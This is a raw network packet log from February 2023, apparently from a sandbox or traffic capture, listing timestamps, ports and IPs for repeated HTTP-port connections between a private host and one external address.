Feb 6, 2023 14:17:39.335930109 CET	49877	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.336935997 CET	49878	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.395657063 CET	80	49877	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.395854950 CET	49877	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.399672031 CET	80	49878	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.399805069 CET	49878	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.400319099 CET	49878	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.462934971 CET	80	49878	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.466084957 CET	80	49878	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.466197014 CET	49878	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.594415903 CET	49878	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.595527887 CET	49879	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.656934977 CET	80	49879	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.657018900 CET	80	49878	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.657068014 CET	49879	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.657108068 CET	49878	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.657687902 CET	49879	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.719347954 CET	80	49879	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.721652031 CET	80	49879	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.721752882 CET	49879	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.830538988 CET	49879	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.831507921 CET	49880	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.892136097 CET	80	49879	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.894053936 CET	80	49880	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.894207001 CET	49879	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.894253016 CET	49880	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.895059109 CET	49880	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.957335949 CET	80	49880	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.961123943 CET	80	49880	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.961312056 CET	49880	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.066042900 CET	49880	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.066948891 CET	49881	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.128463030 CET	80	49880	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.128834963 CET	49880	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.129456997 CET	80	49881	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.133589983 CET	49881	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.148507118 CET	49881	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.211270094 CET	80	49881	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.217240095 CET	80	49881	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.217556953 CET	49881	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.331607103 CET	49881	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.332525969 CET	49882	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.392925024 CET	80	49882	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.393127918 CET	49882	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.393564939 CET	49882	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.394402027 CET	80	49881	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.394515991 CET	49881	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.453855038 CET	80	49882	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.458098888 CET	80	49882	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.458249092 CET	49882	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.569741964 CET	49882	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.570566893 CET	49883	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.630163908 CET	80	49882	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.630304098 CET	49882	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.632922888 CET	80	49883	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.633124113 CET	49883	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.633558989 CET	49883	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.695930004 CET	80	49883	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.700082064 CET	80	49883	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.700222969 CET	49883	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.814867973 CET	49883	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.815776110 CET	49884	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.877576113 CET	80	49883	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.877770901 CET	49883	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.878112078 CET	80	49884	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.878257990 CET	49884	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.878750086 CET	49884	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:40.941219091 CET	80	49884	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.944602966 CET	80	49884	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:40.944813967 CET	49884	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.050080061 CET	49884	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.051131010 CET	49885	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.110577106 CET	80	49885	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.110821962 CET	49885	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.112689972 CET	80	49884	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.112839937 CET	49884	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.119391918 CET	49885	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.178833008 CET	80	49885	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.185913086 CET	80	49885	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.186098099 CET	49885	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.300045013 CET	49885	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.301060915 CET	49886	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.359740019 CET	80	49885	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.359925032 CET	49885	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.360461950 CET	80	49886	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.360608101 CET	49886	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.361243010 CET	49886	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.420727015 CET	80	49886	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.423928976 CET	80	49886	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.424067020 CET	49886	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.534634113 CET	49886	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.535614014 CET	49887	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.594315052 CET	80	49886	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.594542980 CET	49886	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.596913099 CET	80	49887	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.597119093 CET	49887	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.597625017 CET	49887	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.658920050 CET	80	49887	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.661936045 CET	80	49887	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.662110090 CET	49887	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.778186083 CET	49887	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.778995037 CET	49888	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.839637995 CET	80	49887	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.839797020 CET	49887	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.840270042 CET	80	49888	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.840399981 CET	49888	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.840854883 CET	49888	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:41.902295113 CET	80	49888	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.906905890 CET	80	49888	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:41.907032967 CET	49888	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.018667936 CET	49888	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.019601107 CET	49889	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.080466986 CET	80	49888	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.080576897 CET	49888	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.084079981 CET	80	49889	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.084202051 CET	49889	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.087363005 CET	49889	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.148566961 CET	80	49889	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.156582117 CET	80	49889	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.156666040 CET	49889	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.284059048 CET	49889	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.284976959 CET	49890	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.345498085 CET	80	49889	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.345645905 CET	49889	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.347558022 CET	80	49890	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.347666979 CET	49890	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.348321915 CET	49890	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.410883904 CET	80	49890	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.415592909 CET	80	49890	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.415741920 CET	49890	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.518661022 CET	49890	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.521636009 CET	49891	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.581538916 CET	80	49890	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.581690073 CET	49890	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.583161116 CET	80	49891	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.583952904 CET	49891	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.583952904 CET	49891	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.645298958 CET	80	49891	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.649425030 CET	80	49891	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.654048920 CET	49891	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.769840956 CET	49891	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.770734072 CET	49892	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.831478119 CET	80	49891	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.831759930 CET	49891	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.833158016 CET	80	49892	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.833304882 CET	49892	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.833784103 CET	49892	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:42.894342899 CET	80	49892	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.900185108 CET	80	49892	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:42.900753021 CET	49892	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.002585888 CET	49892	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.003513098 CET	49893	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.063433886 CET	80	49892	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.063553095 CET	49892	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.065793991 CET	80	49893	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.065942049 CET	49893	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.066540003 CET	49893	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.129115105 CET	80	49893	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.134987116 CET	80	49893	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.136758089 CET	49893	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.253953934 CET	49893	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.254901886 CET	49894	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.315614939 CET	80	49894	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.316301107 CET	80	49893	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.316477060 CET	49893	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.316977024 CET	49894	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.316977024 CET	49894	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.377707958 CET	80	49894	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.380888939 CET	80	49894	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.388406038 CET	49894	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.504452944 CET	49894	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.505264044 CET	49895	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.565275908 CET	80	49894	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.566787004 CET	80	49895	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.566996098 CET	49895	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.567435026 CET	49895	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.568490028 CET	49894	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.628767967 CET	80	49895	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.633063078 CET	80	49895	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.636049986 CET	49895	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.758336067 CET	49895	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.759414911 CET	49896	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.820041895 CET	80	49895	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.820871115 CET	80	49896	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.821022034 CET	49895	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.821073055 CET	49896	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.821532965 CET	49896	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:43.882997036 CET	80	49896	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.887778044 CET	80	49896	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:43.888467073 CET	49896	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.096627951 CET	49896	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.097351074 CET	49897	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.158165932 CET	80	49896	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.158667088 CET	80	49897	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.158850908 CET	49896	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.158919096 CET	49897	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.164540052 CET	49897	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.229381084 CET	80	49897	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.234129906 CET	80	49897	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.236980915 CET	49897	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.348578930 CET	49897	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.349781036 CET	49898	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.410247087 CET	80	49897	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.410403967 CET	49897	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.411215067 CET	80	49898	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.411345005 CET	49898	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.411726952 CET	49898	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.473203897 CET	80	49898	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.476085901 CET	80	49898	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.476232052 CET	49898	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.581425905 CET	49898	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.582768917 CET	49899	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.643054008 CET	80	49898	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.643199921 CET	49898	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.644207001 CET	80	49899	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.644383907 CET	49899	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.645814896 CET	49899	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.707200050 CET	80	49899	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.710201979 CET	80	49899	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.710325956 CET	49899	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.831146002 CET	49899	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.831878901 CET	49900	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.892847061 CET	80	49899	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.892991066 CET	49899	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.894826889 CET	80	49900	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.894992113 CET	49900	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.895342112 CET	49900	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:44.957984924 CET	80	49900	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.961194038 CET	80	49900	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:44.961379051 CET	49900	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.065516949 CET	49900	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.066589117 CET	49901	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.127233028 CET	80	49901	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.127352953 CET	49901	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.128314018 CET	80	49900	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.128408909 CET	49900	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.128470898 CET	49901	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.188710928 CET	80	49901	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.193317890 CET	80	49901	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.193447113 CET	49901	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.301162958 CET	49901	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.302124977 CET	49902	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.361680031 CET	80	49901	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.361891985 CET	49901	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.363467932 CET	80	49902	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.363629103 CET	49902	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.366775990 CET	49902	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.428247929 CET	80	49902	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.431293964 CET	80	49902	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.431900024 CET	49902	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.559984922 CET	49902	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.560689926 CET	49903	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.621737957 CET	80	49902	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.621849060 CET	49902	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.622296095 CET	80	49903	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.622431993 CET	49903	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.622795105 CET	49903	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.684125900 CET	80	49903	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.688411951 CET	80	49903	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.688496113 CET	49903	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.800600052 CET	49903	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.802015066 CET	49904	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.862324953 CET	80	49903	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.862396002 CET	49903	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.863459110 CET	80	49904	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.863558054 CET	49904	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.863997936 CET	49904	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:45.925468922 CET	80	49904	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.929059982 CET	80	49904	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:45.929128885 CET	49904	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.033976078 CET	49904	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.036694050 CET	49905	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.095580101 CET	80	49904	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.095751047 CET	49904	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.098401070 CET	80	49905	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.098557949 CET	49905	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.099036932 CET	49905	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.160520077 CET	80	49905	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.166430950 CET	80	49905	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.166543007 CET	49905	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.268775940 CET	49905	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.269989014 CET	49906	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.330375910 CET	80	49905	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.330487013 CET	49905	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.331626892 CET	80	49906	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.331754923 CET	49906	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.332969904 CET	49906	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.394727945 CET	80	49906	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.397893906 CET	80	49906	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.397985935 CET	49906	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.504373074 CET	49906	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.505220890 CET	49907	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.565778971 CET	80	49907	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.566135883 CET	80	49906	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.566292048 CET	49906	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.566394091 CET	49907	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.566674948 CET	49907	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.627079964 CET	80	49907	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.630750895 CET	80	49907	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.630950928 CET	49907	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.737636089 CET	49907	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.738688946 CET	49908	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.798412085 CET	80	49907	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.798556089 CET	49907	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.800090075 CET	80	49908	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.800259113 CET	49908	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.800738096 CET	49908	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.867626905 CET	80	49908	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.871973991 CET	80	49908	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:46.872155905 CET	49908	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.988162994 CET	49908	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:46.989195108 CET	49909	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.049746037 CET	80	49908	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.049886942 CET	49908	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.050880909 CET	80	49909	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.051028013 CET	49909	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.051764965 CET	49909	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.122062922 CET	80	49909	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.122370005 CET	80	49909	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.122454882 CET	49909	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.237261057 CET	49909	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.238115072 CET	49910	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.298928022 CET	80	49909	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.300553083 CET	80	49910	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.300705910 CET	49909	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.300806999 CET	49910	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.301538944 CET	49910	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.363873959 CET	80	49910	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.367959976 CET	80	49910	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.368135929 CET	49910	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.471749067 CET	49910	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.472532034 CET	49911	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.534172058 CET	80	49911	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.534347057 CET	49911	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.534426928 CET	80	49910	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.534498930 CET	49910	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.534707069 CET	49911	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:47.596055984 CET	80	49911	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.599071980 CET	80	49911	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:47.599204063 CET	49911	80	192.168.2.5	62.204.41.4
